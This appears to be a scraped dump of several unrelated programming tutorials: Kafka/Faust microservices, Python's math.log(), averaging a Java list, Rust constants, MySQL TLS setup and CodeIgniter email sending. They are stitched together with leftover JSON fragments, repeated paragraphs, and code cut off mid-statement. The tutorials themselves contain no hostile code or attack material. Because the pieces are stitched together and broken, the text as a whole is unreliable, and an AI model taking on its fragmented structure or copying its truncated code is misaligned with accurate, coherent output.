"e": 8461, "s": 7788, "text": "The microservices for requesting and processing data read and write data in Kafka as streams. Every new message is processed independently of previous messages. But, once in a while, you may need to process a certain number of messages simultaneously. Just imagine that you need to find an average for the last ten pairs of values. For doing that, your system should be able to store these ten pairs somewhere. You cannot store data locally: if you trigger several versions of the aggregation service, each of them will locally store only its values, which, as a result, will lead to incorrect calculation of averages. Here is where you can take advantage of Faust tables." }, { "code": null, "e": 8715, "s": 8461, "text": "The tables store the values in changelog topic and locally — in rocksdb. This allows all versions of the service to work in sync. Upon reboot, it restores the state from a local database and, when an available changelog is read, continues to work as is." }, { "code": null, "e": 8881, "s": 8715, "text": "The topic’s name for a table is assigned like this: <service-name>-<table-name>-changelog. In the case of our system, the name is: data-aggregator-average-changelog." }, { "code": null, "e": 8947, "s": 8881, "text": "Processing and storing new messages in the table is quite simple:" }, { "code": null, "e": 9197, "s": 8947, "text": "As seen from the code above, you need to define how your function processes messages in the topic. Every new value received should be stored in the table to calculate an average. You can use the table in ways similar to a standard Python dictionary." }, { "code": null, "e": 9475, "s": 9197, "text": "db_loader microservice reads two topics — data-aggregator-average-changelog and processed_data — at once. It writes messages from data_aggregator to the first topic and from data_processor to the second one. This is why we need to describe two functions for message processing." }, { "code": null, "e": 9728, "s": 9475, "text": "Similar to other services, you need to: read the message, store it in a database, update the metrics. To manage the database, we will use ORM SQLAlchemy. Note that you should set it up to work asynchronously. For that, define the required dependencies." }, { "code": null, "e": 9761, "s": 9728, "text": "asyncpg==0.23.0SQLAlchemy==1.4.0" }, { "code": null, "e": 9791, "s": 9761, "text": "Specify DB URI in the config." }, { "code": null, "e": 9866, "s": 9791, "text": "DB_URI: “postgresql+asyncpg://postgres:[email protected]:5432/currencies”" }, { "code": null, "e": 9925, "s": 9866, "text": "Use asynchronous sessions in the database management code." }, { "code": null, "e": 10230, "s": 9925, "text": "Finally, let’s create a simple service using FastAPI to request the results from the database. It will read the results from the database and push them to JSON. To manage the database, you can use ORM (as we did before). As to FastAPI, the instructions are similar to Step 2. Data Emulation Microservice." }, { "code": null, "e": 10475, "s": 10230, "text": "Building microservices with Apache Kafka on Python is quite simple. You can offload almost all of the work for handling and managing Kafka to Faust. Then, just describe and define the functions to see them processing your messages in real time." }, { "code": null, "e": 10730, "s": 10475, "text": "I hope this tutorial has helped you get a better understanding of how you can marry microservices, Apache Kafka, and Python. If you are interested in monitoring and management of clusters in Apache Kafka, I recommend that you also check out this article." } ]
Python Number log() Method
Python number method log() returns natural logarithm of x, for x > 0. Following is the syntax for log() method − import math math.log( x ) Note − This function is not accessible directly, so we need to import math module and then we need to call this function using math static object. x − This is a numeric expression. x − This is a numeric expression. This method returns natural logarithm of x, for x > 0. The following example shows the usage of log() method. #!/usr/bin/python import math # This will import math module print "math.log(100.12) : ", math.log(100.12) print "math.log(100.72) : ", math.log(100.72) print "math.log(119L) : ", math.log(119L) print "math.log(math.pi) : ", math.log(math.pi) When we run above program, it produces following result − math.log(100.12) : 4.60636946656 math.log(100.72) : 4.61234438974 math.log(119L) : 4.77912349311 math.log(math.pi) : 1.14472988585 187 Lectures 17.5 hours Malhar Lathkar 55 Lectures 8 hours Arnab Chakraborty 136 Lectures 11 hours In28Minutes Official 75 Lectures 13 hours Eduonix Learning Solutions 70 Lectures 8.5 hours Lets Kode It 63 Lectures 6 hours Abhilash Nelson Print Add Notes Bookmark this page
[ { "code": null, "e": 2315, "s": 2244, "text": "Python number method log() returns natural logarithm of x, for x > 0." }, { "code": null, "e": 2358, "s": 2315, "text": "Following is the syntax for log() method −" }, { "code": null, "e": 2385, "s": 2358, "text": "import math\n\nmath.log( x )" }, { "code": null, "e": 2532, "s": 2385, "text": "Note − This function is not accessible directly, so we need to import math module and then we need to call this function using math static object." }, { "code": null, "e": 2566, "s": 2532, "text": "x − This is a numeric expression." }, { "code": null, "e": 2600, "s": 2566, "text": "x − This is a numeric expression." }, { "code": null, "e": 2655, "s": 2600, "text": "This method returns natural logarithm of x, for x > 0." }, { "code": null, "e": 2710, "s": 2655, "text": "The following example shows the usage of log() method." }, { "code": null, "e": 2956, "s": 2710, "text": "#!/usr/bin/python\nimport math # This will import math module\n\nprint \"math.log(100.12) : \", math.log(100.12)\nprint \"math.log(100.72) : \", math.log(100.72)\nprint \"math.log(119L) : \", math.log(119L)\nprint \"math.log(math.pi) : \", math.log(math.pi)" }, { "code": null, "e": 3014, "s": 2956, "text": "When we run above program, it produces following result −" }, { "code": null, "e": 3150, "s": 3014, "text": "math.log(100.12) : 4.60636946656\nmath.log(100.72) : 4.61234438974\nmath.log(119L) : 4.77912349311\nmath.log(math.pi) : 1.14472988585\n" }, { "code": null, "e": 3187, "s": 3150, "text": "\n 187 Lectures \n 17.5 hours \n" }, { "code": null, "e": 3203, "s": 3187, "text": " Malhar Lathkar" }, { "code": null, "e": 3236, "s": 3203, "text": "\n 55 Lectures \n 8 hours \n" }, { "code": null, "e": 3255, "s": 3236, "text": " Arnab Chakraborty" }, { "code": null, "e": 3290, "s": 3255, "text": "\n 136 Lectures \n 11 hours \n" }, { "code": null, "e": 3312, "s": 3290, "text": " In28Minutes Official" }, { "code": null, "e": 3346, "s": 3312, "text": "\n 75 Lectures \n 13 hours \n" }, { "code": null, "e": 3374, "s": 3346, "text": " Eduonix Learning Solutions" }, { "code": null, "e": 3409, "s": 3374, "text": "\n 70 Lectures \n 8.5 hours \n" }, { "code": null, "e": 3423, "s": 3409, "text": " Lets Kode It" }, { "code": null, "e": 3456, "s": 3423, "text": "\n 63 Lectures \n 6 hours \n" }, { "code": null, "e": 3473, "s": 3456, "text": " Abhilash Nelson" }, { "code": null, "e": 3480, "s": 3473, "text": " Print" }, { "code": null, "e": 3491, "s": 3480, "text": " Add Notes" } ]
Find average of a list in Java
To find average of a list in Java, the code is as follows - Live Demo import java.util.*; public class Demo { public static void main(String []args){ List<Integer> list = Arrays.asList(10, 20, 50, 100, 130, 150, 200, 250, 500); IntSummaryStatistics summaryStats = list.stream() .mapToInt((a) -> a) .summaryStatistics(); System.out.println("Average of a List = "+summaryStats.getAverage()); } } Average of a List = 156.66666666666666 Let us now see another example - Live Demo import java.util.*; public class Demo { public static void main(String []args){ List<Integer> list = Arrays.asList(10, 20, 50, 100, 130, 150, 200, 250, 500); int sum = 0; for (int i : list) { sum+=i; } if(list.isEmpty()){ System.out.println("Empty list!"); } else { System.out.println("Average = " + sum/(float)list.size()); } } } Average = 156.66667
[ { "code": null, "e": 1122, "s": 1062, "text": "To find average of a list in Java, the code is as follows -" }, { "code": null, "e": 1133, "s": 1122, "text": " Live Demo" }, { "code": null, "e": 1493, "s": 1133, "text": "import java.util.*;\npublic class Demo {\n public static void main(String []args){\n List<Integer> list = Arrays.asList(10, 20, 50, 100, 130, 150, 200, 250, 500);\n IntSummaryStatistics summaryStats = list.stream()\n .mapToInt((a) -> a)\n .summaryStatistics();\n System.out.println(\"Average of a List = \"+summaryStats.getAverage());\n }\n}" }, { "code": null, "e": 1532, "s": 1493, "text": "Average of a List = 156.66666666666666" }, { "code": null, "e": 1565, "s": 1532, "text": "Let us now see another example -" }, { "code": null, "e": 1576, "s": 1565, "text": " Live Demo" }, { "code": null, "e": 1982, "s": 1576, "text": "import java.util.*;\npublic class Demo {\n public static void main(String []args){\n List<Integer> list = Arrays.asList(10, 20, 50, 100, 130, 150, 200, 250, 500);\n int sum = 0;\n for (int i : list) {\n sum+=i;\n }\n if(list.isEmpty()){\n System.out.println(\"Empty list!\");\n } else {\n System.out.println(\"Average = \" + sum/(float)list.size());\n }\n }\n}" }, { "code": null, "e": 2002, "s": 1982, "text": "Average = 156.66667" } ]
Rust - Constant
Constants represent values that cannot be changed. If you declare a constant then there is no way its value changes. The keyword for using constants is const. Constants must be explicitly typed. Following is the syntax to declare a constant. const VARIABLE_NAME:dataType = value; The naming convention for Constants are similar to that of variables. All characters in a constant name are usually in uppercase. Unlike declaring variables, the let keyword is not used to declare a constant. We have used constants in Rust in the example below − fn main() { const USER_LIMIT:i32 = 100; // Declare a integer constant const PI:f32 = 3.14; //Declare a float constant println!("user limit is {}",USER_LIMIT); //Display value of the constant println!("pi value is {}",PI); //Display value of the constant } In this section, we will learn about the differentiating factors between constants and variables. Constants are declared using the const keyword while variables are declared using the let keyword. Constants are declared using the const keyword while variables are declared using the let keyword. A variable declaration can optionally have a data type whereas a constant declaration must specify the data type. This means const USER_LIMIT=100 will result in an error. A variable declaration can optionally have a data type whereas a constant declaration must specify the data type. This means const USER_LIMIT=100 will result in an error. A variable declared using the let keyword is by default immutable. However, you have an option to mutate it using the mut keyword. Constants are immutable. A variable declared using the let keyword is by default immutable. However, you have an option to mutate it using the mut keyword. Constants are immutable. Constants can be set only to a constant expression and not to the result of a function call or any other value that will be computed at runtime. Constants can be set only to a constant expression and not to the result of a function call or any other value that will be computed at runtime. Constants can be declared in any scope, including the global scope, which makes them useful for values that many parts of the code need to know about. Constants can be declared in any scope, including the global scope, which makes them useful for values that many parts of the code need to know about. Rust allows programmers to declare variables with the same name. In such a case, the new variable overrides the previous variable. Let us understand this with an example. fn main() { let salary = 100.00; let salary = 1.50 ; // reads first salary println!("The value of salary is :{}",salary); } The above code declares two variables by the name salary. The first declaration is assigned a 100.00 while the second declaration is assigned value 1.50. The second variable shadows or hides the first variable while displaying output. The value of salary is :1.50 Rust supports variables with different data types while shadowing. Consider the following example. The code declares two variables by the name uname. The first declaration is assigned a string value, whereas the second declaration is assigned an integer. The len function returns the total number of characters in a string value. fn main() { let uname = "Mohtashim"; let uname = uname.len(); println!("name changed to integer : {}",uname); } name changed to integer: 9 Unlike variables, constants cannot be shadowed. If variables in the above program are replaced with constants, the compiler will throw an error. fn main() { const NAME:&str = "Mohtashim"; const NAME:usize = NAME.len(); //Error : `NAME` already defined println!("name changed to integer : {}",NAME); } 45 Lectures 4.5 hours Stone River ELearning 10 Lectures 33 mins Ken Burke Print Add Notes Bookmark this page
[ { "code": null, "e": 2329, "s": 2087, "text": "Constants represent values that cannot be changed. If you declare a constant then there is no way its value changes. The keyword for using constants is const. Constants must be explicitly typed. Following is the syntax to declare a constant." }, { "code": null, "e": 2368, "s": 2329, "text": "const VARIABLE_NAME:dataType = value;\n" }, { "code": null, "e": 2577, "s": 2368, "text": "The naming convention for Constants are similar to that of variables. All characters in a constant name are usually in uppercase. Unlike declaring variables, the let keyword is not used to declare a constant." }, { "code": null, "e": 2631, "s": 2577, "text": "We have used constants in Rust in the example below −" }, { "code": null, "e": 2925, "s": 2631, "text": "fn main() {\n const USER_LIMIT:i32 = 100; // Declare a integer constant\n const PI:f32 = 3.14; //Declare a float constant\n\n println!(\"user limit is {}\",USER_LIMIT); //Display value of the constant\n println!(\"pi value is {}\",PI); //Display value of the constant\n}" }, { "code": null, "e": 3023, "s": 2925, "text": "In this section, we will learn about the differentiating factors between constants and variables." }, { "code": null, "e": 3122, "s": 3023, "text": "Constants are declared using the const keyword while variables are declared using the let keyword." }, { "code": null, "e": 3221, "s": 3122, "text": "Constants are declared using the const keyword while variables are declared using the let keyword." }, { "code": null, "e": 3392, "s": 3221, "text": "A variable declaration can optionally have a data type whereas a constant declaration must specify the data type. This means const USER_LIMIT=100 will result in an error." }, { "code": null, "e": 3563, "s": 3392, "text": "A variable declaration can optionally have a data type whereas a constant declaration must specify the data type. This means const USER_LIMIT=100 will result in an error." }, { "code": null, "e": 3719, "s": 3563, "text": "A variable declared using the let keyword is by default immutable. However, you have an option to mutate it using the mut keyword. Constants are immutable." }, { "code": null, "e": 3875, "s": 3719, "text": "A variable declared using the let keyword is by default immutable. However, you have an option to mutate it using the mut keyword. Constants are immutable." }, { "code": null, "e": 4020, "s": 3875, "text": "Constants can be set only to a constant expression and not to the result of a function call or any other value that will be computed at runtime." }, { "code": null, "e": 4165, "s": 4020, "text": "Constants can be set only to a constant expression and not to the result of a function call or any other value that will be computed at runtime." }, { "code": null, "e": 4316, "s": 4165, "text": "Constants can be declared in any scope, including the global scope, which makes them useful for values that many parts of the code need to know about." }, { "code": null, "e": 4467, "s": 4316, "text": "Constants can be declared in any scope, including the global scope, which makes them useful for values that many parts of the code need to know about." }, { "code": null, "e": 4598, "s": 4467, "text": "Rust allows programmers to declare variables with the same name. In such a case, the new variable overrides the previous variable." }, { "code": null, "e": 4638, "s": 4598, "text": "Let us understand this with an example." }, { "code": null, "e": 4775, "s": 4638, "text": "fn main() {\n let salary = 100.00;\n let salary = 1.50 ; \n // reads first salary\n println!(\"The value of salary is :{}\",salary);\n}" }, { "code": null, "e": 5010, "s": 4775, "text": "The above code declares two variables by the name salary. The first declaration is assigned a 100.00 while the second declaration is assigned value 1.50. The second variable shadows or hides the first variable while displaying output." }, { "code": null, "e": 5040, "s": 5010, "text": "The value of salary is :1.50\n" }, { "code": null, "e": 5107, "s": 5040, "text": "Rust supports variables with different data types while shadowing." }, { "code": null, "e": 5139, "s": 5107, "text": "Consider the following example." }, { "code": null, "e": 5370, "s": 5139, "text": "The code declares two variables by the name uname. The first declaration is assigned a string value, whereas the second declaration is assigned an integer. The len function returns the total number of characters in a string value." }, { "code": null, "e": 5491, "s": 5370, "text": "fn main() {\n let uname = \"Mohtashim\";\n let uname = uname.len();\n println!(\"name changed to integer : {}\",uname);\n}" }, { "code": null, "e": 5519, "s": 5491, "text": "name changed to integer: 9\n" }, { "code": null, "e": 5664, "s": 5519, "text": "Unlike variables, constants cannot be shadowed. If variables in the above program are replaced with constants, the compiler will throw an error." }, { "code": null, "e": 5833, "s": 5664, "text": "fn main() {\n const NAME:&str = \"Mohtashim\";\n const NAME:usize = NAME.len(); \n //Error : `NAME` already defined\n println!(\"name changed to integer : {}\",NAME);\n}" }, { "code": null, "e": 5868, "s": 5833, "text": "\n 45 Lectures \n 4.5 hours \n" }, { "code": null, "e": 5891, "s": 5868, "text": " Stone River ELearning" }, { "code": null, "e": 5923, "s": 5891, "text": "\n 10 Lectures \n 33 mins\n" }, { "code": null, "e": 5934, "s": 5923, "text": " Ken Burke" }, { "code": null, "e": 5941, "s": 5934, "text": " Print" }, { "code": null, "e": 5952, "s": 5941, "text": " Add Notes" } ]
Enable TLS for MySQL Clients
TLS is also known as SSL (Secure Sockets Layer). It refers to Transport Layer Security. When there is an unencrypted connection between the MySQL client and the server, a person who has access to the network can watch all the traffic and inspect the data that is being sent or received between client and server. When the user wishes to move information over a network in a secure method, an unencrypted connection is not acceptable. To make any sort of data unreadable, encryption has to be used. Encryption algorithms usually include security elements that help resist many kinds of known attacks, some of which include changing the order of encrypted messages or replaying the data twice. MySQL supports the encrypted connection that happens between clients and the server where they both use the TLS protocol. But MySQL doesn’t use SSL protocol for encrypted connections since the encryption is weak. TLS uses encryption algorithms to make sure that the data which is received over a public network is trusted data. It has many ways to detect data change, loss, or replay.TLS also uses algorithms that come with identity verification with the help of the X.509 standard. MySQL performs encryption on a per-connection basis. The encryption for a given user can either be optional or mandatory. This enables the user to choose an encrypted or unencrypted connection depending on the requirements of the applications. Let us understand how TLS can be enabled for MySQL clients: The ssl-cert and ssl-key parameters in the configuration file have to be specified when server is started. The certificate or key is signed and generated with the help of OpenSSL. This key can also be generated using mysql_ssl_rsa_setup tool in MySQL:mysql_ssl_rsa_setup --datadir=./certs mysql_ssl_rsa_setup --datadir=./certs If the parameters are correct, a secure connection is passed as output that is enabled when it starts. The certificate, key and CA are reloaded- The ALTER INSTANCE RELOAD TLS statement is executed on the server instance. This ensures that the server instance won’t have to be reloaded. The newly loaded certificate, key, and CA show effect after connection that was established is successfully executed. The MySQL client is configured to use encrypted connections- An encrypted connection is tried to set up by default. If the server doesn’t support an encrypted connection, an unencrypted connection is automatically returned. The connection behavior of client can be changed using --ssl-mode parameters:--ssl-mode=REQUIRED- Tells that en encrypted connection is needed. --ssl-mode=REQUIRED- Tells that en encrypted connection is needed. Authentication needs to be enabled: If the ssl-ca parameter is not specified, the client or server doesn’t do authentication by default. The ssl-cert and ssl-key parameters have to be specified in server. The --ssl-ca parameter is specified in MySQL client. The --ssl-mode is specified to VERIFY_CA in the MySQL client. The certificate (ssl-cert) configured in the server is signed by CA specified by the client --ssl-ca parameter. If not, authentication fails. To authenticate MySQL client from the server: The ssl-cert, ssl-key, and ssl-ca parameters are specified server. The --ssl-cert and --ssl-key parameters are specified in the client. The server-configured certificate and client-configured certificate are signed by the ssl-ca specified by the server. The server-to-client authentication is optional. If client doesn’t show their certificate of identification during TLS handshake, the TLS connection is still established. Check whether the current connection uses any encryption.
[ { "code": null, "e": 1150, "s": 1062, "text": "TLS is also known as SSL (Secure Sockets Layer). It refers to Transport Layer Security." }, { "code": null, "e": 1496, "s": 1150, "text": "When there is an unencrypted connection between the MySQL client and the server, a person who has access to the network can watch all the traffic and inspect the data that is being sent or received between client and server. When the user wishes to move information over a network in a secure method, an unencrypted connection is not acceptable." }, { "code": null, "e": 1967, "s": 1496, "text": "To make any sort of data unreadable, encryption has to be used. Encryption algorithms usually include security elements that help resist many kinds of known attacks, some of which include changing the order of encrypted messages or replaying the data twice. MySQL supports the encrypted connection that happens between clients and the server where they both use the TLS protocol. But MySQL doesn’t use SSL protocol for encrypted connections since the encryption is weak." }, { "code": null, "e": 2237, "s": 1967, "text": "TLS uses encryption algorithms to make sure that the data which is received over a public network is trusted data. It has many ways to detect data change, loss, or replay.TLS also uses algorithms that come with identity verification with the help of the X.509 standard." }, { "code": null, "e": 2481, "s": 2237, "text": "MySQL performs encryption on a per-connection basis. The encryption for a given user can either be optional or mandatory. This enables the user to choose an encrypted or unencrypted connection depending on the requirements of the applications." }, { "code": null, "e": 2541, "s": 2481, "text": "Let us understand how TLS can be enabled for MySQL clients:" }, { "code": null, "e": 2648, "s": 2541, "text": "The ssl-cert and ssl-key parameters in the configuration file have to be specified when server is started." }, { "code": null, "e": 2721, "s": 2648, "text": "The certificate or key is signed and generated with the help of OpenSSL." }, { "code": null, "e": 2830, "s": 2721, "text": "This key can also be generated using mysql_ssl_rsa_setup tool in MySQL:mysql_ssl_rsa_setup --datadir=./certs" }, { "code": null, "e": 2868, "s": 2830, "text": "mysql_ssl_rsa_setup --datadir=./certs" }, { "code": null, "e": 2971, "s": 2868, "text": "If the parameters are correct, a secure connection is passed as output that is enabled when it starts." }, { "code": null, "e": 3154, "s": 2971, "text": "The certificate, key and CA are reloaded- The ALTER INSTANCE RELOAD TLS statement is executed on the server instance. This ensures that the server instance won’t have to be reloaded." }, { "code": null, "e": 3273, "s": 3154, "text": "The newly loaded certificate, key, and CA show effect after connection that was established is successfully executed. " }, { "code": null, "e": 3497, "s": 3273, "text": "The MySQL client is configured to use encrypted connections- An encrypted connection is tried to set up by default. If the server doesn’t support an encrypted connection, an unencrypted connection is automatically returned." }, { "code": null, "e": 3641, "s": 3497, "text": "The connection behavior of client can be changed using --ssl-mode parameters:--ssl-mode=REQUIRED- Tells that en encrypted connection is needed." }, { "code": null, "e": 3708, "s": 3641, "text": "--ssl-mode=REQUIRED- Tells that en encrypted connection is needed." }, { "code": null, "e": 3845, "s": 3708, "text": "Authentication needs to be enabled: If the ssl-ca parameter is not specified, the client or server doesn’t do authentication by default." }, { "code": null, "e": 3913, "s": 3845, "text": "The ssl-cert and ssl-key parameters have to be specified in server." }, { "code": null, "e": 3966, "s": 3913, "text": "The --ssl-ca parameter is specified in MySQL client." }, { "code": null, "e": 4028, "s": 3966, "text": "The --ssl-mode is specified to VERIFY_CA in the MySQL client." }, { "code": null, "e": 4140, "s": 4028, "text": "The certificate (ssl-cert) configured in the server is signed by CA specified by the client --ssl-ca parameter." }, { "code": null, "e": 4170, "s": 4140, "text": "If not, authentication fails." }, { "code": null, "e": 4216, "s": 4170, "text": "To authenticate MySQL client from the server:" }, { "code": null, "e": 4283, "s": 4216, "text": "The ssl-cert, ssl-key, and ssl-ca parameters are specified server." }, { "code": null, "e": 4352, "s": 4283, "text": "The --ssl-cert and --ssl-key parameters are specified in the client." }, { "code": null, "e": 4470, "s": 4352, "text": "The server-configured certificate and client-configured certificate are signed by the ssl-ca specified by the server." }, { "code": null, "e": 4641, "s": 4470, "text": "The server-to-client authentication is optional. If client doesn’t show their certificate of identification during TLS handshake, the TLS connection is still established." }, { "code": null, "e": 4699, "s": 4641, "text": "Check whether the current connection uses any encryption." } ]
Java Program to set alignment for text in JLabel
The following is an example to set left alignment for JLabel − import java.awt.Font; import javax.swing.*; public class SwingDemo { public static void main(String args[]) { JFrame frame = new JFrame("Label Demo"); JLabel label; label = new JLabel("Left aligned!", JLabel.LEFT); label.setFont(new Font("Verdana", Font.PLAIN, 13)); frame.add(label); frame.setSize(500,300); frame.setVisible(true); } } The following is an example to set center alignment for JLabel − import java.awt.Font; import javax.swing.*; public class SwingDemo { public static void main(String args[]) { JFrame frame = new JFrame("Label Demo"); JLabel label; label = new JLabel("Center aligned!", JLabel.CENTER); label.setFont(new Font("Verdana", Font.PLAIN, 13)); frame.add(label); frame.setSize(500,300); frame.setVisible(true); } } The following is an example to set right alignment for JLabel − import java.awt.Font; import javax.swing.*; public class SwingDemo { public static void main(String args[]) { JFrame frame = new JFrame("Label Demo"); JLabel label; label = new JLabel("Right aligned!", JLabel.RIGHT); label.setFont(new Font("Verdana", Font.PLAIN, 13)); frame.add(label); frame.setSize(500,300); frame.setVisible(true); } }
[ { "code": null, "e": 1125, "s": 1062, "text": "The following is an example to set left alignment for JLabel −" }, { "code": null, "e": 1510, "s": 1125, "text": "import java.awt.Font;\nimport javax.swing.*;\npublic class SwingDemo {\n public static void main(String args[]) {\n JFrame frame = new JFrame(\"Label Demo\");\n JLabel label;\n label = new JLabel(\"Left aligned!\", JLabel.LEFT);\n label.setFont(new Font(\"Verdana\", Font.PLAIN, 13));\n frame.add(label);\n frame.setSize(500,300);\n frame.setVisible(true);\n }\n}" }, { "code": null, "e": 1575, "s": 1510, "text": "The following is an example to set center alignment for JLabel −" }, { "code": null, "e": 1964, "s": 1575, "text": "import java.awt.Font;\nimport javax.swing.*;\npublic class SwingDemo {\n public static void main(String args[]) {\n JFrame frame = new JFrame(\"Label Demo\");\n JLabel label;\n label = new JLabel(\"Center aligned!\", JLabel.CENTER);\n label.setFont(new Font(\"Verdana\", Font.PLAIN, 13));\n frame.add(label);\n frame.setSize(500,300);\n frame.setVisible(true);\n }\n}" }, { "code": null, "e": 2028, "s": 1964, "text": "The following is an example to set right alignment for JLabel −" }, { "code": null, "e": 2415, "s": 2028, "text": "import java.awt.Font;\nimport javax.swing.*;\npublic class SwingDemo {\n public static void main(String args[]) {\n JFrame frame = new JFrame(\"Label Demo\");\n JLabel label;\n label = new JLabel(\"Right aligned!\", JLabel.RIGHT);\n label.setFont(new Font(\"Verdana\", Font.PLAIN, 13));\n frame.add(label);\n frame.setSize(500,300);\n frame.setVisible(true);\n }\n}" } ]
CodeIgniter - Sending Email
Sending email in CodeIgniter is much easier. You also configure the preferences regarding email in CodeIgniter. CodeIgniter provides following features for sending emails − Multiple Protocols − Mail, Sendmail, and SMTP TLS and SSL Encryption for SMTP Multiple recipients CC and BCCs HTML or Plaintext email Attachments Word wrapping Priorities BCC Batch Mode, enabling large email lists to be broken into small BCC batches. Email Debugging tools Email class has the following functions to simplify the job of sending emails. $from (string) − “From” e-mail address $name (string) − “From” display name $return_path (string) − Optional email address to redirect undelivered e-mail to $replyto (string) − E-mail address for replies $name (string) − Display name for the reply-to e-mail address $to (mixed) − Comma-delimited string or an array of e-mail addresses $cc (mixed) − Comma-delimited string or an array of e-mail addresses $bcc (mixed) − Comma-delimited string or an array of e-mail addresses $limit (int) − Maximum number of e-mails to send per batch $subject (string) − E-mail subject line $body (string) − E-mail message body $str (string) − Alternative e-mail message body $header (string) − Header name $value (string) − Header value $clear_attachments (bool) – Whether or not to clear attachments $auto_clear (bool) − Whether to clear message data automatically $filename (string) − File name $disposition (string) − ‘disposition’ of the attachment. Most email clients make their own decision regardless of the MIME specification used here. iana $newname (string) − Custom file name to use in the e-mail $mime (string) − MIME type to use (useful for buffered data) $filename (string) − Existing attachment filename To send an email using CodeIgniter, first you have to load email library using the following − $this->load->library('email'); After loading the library, simply execute the following functions to set necessary elements to send an email. The from() function is used to set − from where the email is being sent and to() function is used − to whom the email is being sent. The subject() and message() function is used to set the subject and message of the email. $this->email->from('[email protected]', 'Your Name'); $this->email->to('[email protected]'); $this->email->subject('Email Test'); $this->email->message('Testing the email class.'); After that, execute the send() function as shown below to send an email. $this->email->send(); Create a controller file Email_controller.php and save it in application/controller/Email_controller.php. <?php class Email_controller extends CI_Controller { function __construct() { parent::__construct(); $this->load->library('session'); $this->load->helper('form'); } public function index() { $this->load->helper('form'); $this->load->view('email_form'); } public function send_mail() { $from_email = "[email protected]"; $to_email = $this->input->post('email'); //Load email library $this->load->library('email'); $this->email->from($from_email, 'Your Name'); $this->email->to($to_email); $this->email->subject('Email Test'); $this->email->message('Testing the email class.'); //Send mail if($this->email->send()) $this->session->set_flashdata("email_sent","Email sent successfully."); else $this->session->set_flashdata("email_sent","Error in sending Email."); $this->load->view('email_form'); } } ?> Create a view file called email_form.php and save it at application/views/email_form.php <!DOCTYPE html> <html lang = "en"> <head> <meta charset = "utf-8"> <title>CodeIgniter Email Example</title> </head> <body> <?php echo $this->session->flashdata('email_sent'); echo form_open('/Email_controller/send_mail'); ?> <input type = "email" name = "email" required /> <input type = "submit" value = "SEND MAIL"> <?php echo form_close(); ?> </body> </html> Make the changes in the routes.php file in application/config/routes.php and add the following line at the end of the file. $route['email'] = 'Email_Controller'; Execute the above example by visiting the following link. Replace the yoursite.com with the URL of your site. http://yoursite.com/index.php/email Print Add Notes Bookmark this page
[ { "code": null, "e": 2492, "s": 2319, "text": "Sending email in CodeIgniter is much easier. You also configure the preferences regarding email in CodeIgniter. CodeIgniter provides following features for sending emails −" }, { "code": null, "e": 2538, "s": 2492, "text": "Multiple Protocols − Mail, Sendmail, and SMTP" }, { "code": null, "e": 2570, "s": 2538, "text": "TLS and SSL Encryption for SMTP" }, { "code": null, "e": 2590, "s": 2570, "text": "Multiple recipients" }, { "code": null, "e": 2602, "s": 2590, "text": "CC and BCCs" }, { "code": null, "e": 2626, "s": 2602, "text": "HTML or Plaintext email" }, { "code": null, "e": 2638, "s": 2626, "text": "Attachments" }, { "code": null, "e": 2652, "s": 2638, "text": "Word wrapping" }, { "code": null, "e": 2663, "s": 2652, "text": "Priorities" }, { "code": null, "e": 2743, "s": 2663, "text": "BCC Batch Mode, enabling large email lists to be broken into small BCC batches." }, { "code": null, "e": 2765, "s": 2743, "text": "Email Debugging tools" }, { "code": null, "e": 2844, "s": 2765, "text": "Email class has the following functions to simplify the job of sending emails." }, { "code": null, "e": 2883, "s": 2844, "text": "$from (string) − “From” e-mail address" }, { "code": null, "e": 2920, "s": 2883, "text": "$name (string) − “From” display name" }, { "code": null, "e": 3001, "s": 2920, "text": "$return_path (string) − Optional email address to redirect undelivered e-mail to" }, { "code": null, "e": 3048, "s": 3001, "text": "$replyto (string) − E-mail address for replies" }, { "code": null, "e": 3110, "s": 3048, "text": "$name (string) − Display name for the reply-to e-mail address" }, { "code": null, "e": 3179, "s": 3110, "text": "$to (mixed) − Comma-delimited string or an array of e-mail addresses" }, { "code": null, "e": 3248, "s": 3179, "text": "$cc (mixed) − Comma-delimited string or an array of e-mail addresses" }, { "code": null, "e": 3318, "s": 3248, "text": "$bcc (mixed) − Comma-delimited string or an array of e-mail addresses" }, { "code": null, "e": 3377, "s": 3318, "text": "$limit (int) − Maximum number of e-mails to send per batch" }, { "code": null, "e": 3417, "s": 3377, "text": "$subject (string) − E-mail subject line" }, { "code": null, "e": 3454, "s": 3417, "text": "$body (string) − E-mail message body" }, { "code": null, "e": 3502, "s": 3454, "text": "$str (string) − Alternative e-mail message body" }, { "code": null, "e": 3533, "s": 3502, "text": "$header (string) − Header name" }, { "code": null, "e": 3564, "s": 3533, "text": "$value (string) − Header value" }, { "code": null, "e": 3628, "s": 3564, "text": "$clear_attachments (bool) – Whether or not to clear attachments" }, { "code": null, "e": 3693, "s": 3628, "text": "$auto_clear (bool) − Whether to clear message data automatically" }, { "code": null, "e": 3724, "s": 3693, "text": "$filename (string) − File name" }, { "code": null, "e": 3877, "s": 3724, "text": "$disposition (string) − ‘disposition’ of the attachment. Most email clients make their own decision regardless of the MIME specification used here. iana" }, { "code": null, "e": 3935, "s": 3877, "text": "$newname (string) − Custom file name to use in the e-mail" }, { "code": null, "e": 3996, "s": 3935, "text": "$mime (string) − MIME type to use (useful for buffered data)" }, { "code": null, "e": 4046, "s": 3996, "text": "$filename (string) − Existing attachment filename" }, { "code": null, "e": 4141, "s": 4046, "text": "To send an email using CodeIgniter, first you have to load email library using the following −" }, { "code": null, "e": 4173, "s": 4141, "text": "$this->load->library('email');\n" }, { "code": null, "e": 4506, "s": 4173, "text": "After loading the library, simply execute the following functions to set necessary elements to send an email. The from() function is used to set − from where the email is being sent and to() function is used − to whom the email is being sent. The subject() and message() function is used to set the subject and message of the email." }, { "code": null, "e": 4690, "s": 4506, "text": "$this->email->from('[email protected]', 'Your Name');\n$this->email->to('[email protected]');\n \n$this->email->subject('Email Test');\n$this->email->message('Testing the email class.');" }, { "code": null, "e": 4763, "s": 4690, "text": "After that, execute the send() function as shown below to send an email." }, { "code": null, "e": 4786, "s": 4763, "text": "$this->email->send();\n" }, { "code": null, "e": 4892, "s": 4786, "text": "Create a controller file Email_controller.php and save it in application/controller/Email_controller.php." }, { "code": null, "e": 5954, "s": 4892, "text": "<?php \n class Email_controller extends CI_Controller { \n \n function __construct() { \n parent::__construct(); \n $this->load->library('session'); \n $this->load->helper('form'); \n } \n\t\t\n public function index() { \n\t\n $this->load->helper('form'); \n $this->load->view('email_form'); \n } \n \n public function send_mail() { \n $from_email = \"[email protected]\"; \n $to_email = $this->input->post('email'); \n \n //Load email library \n 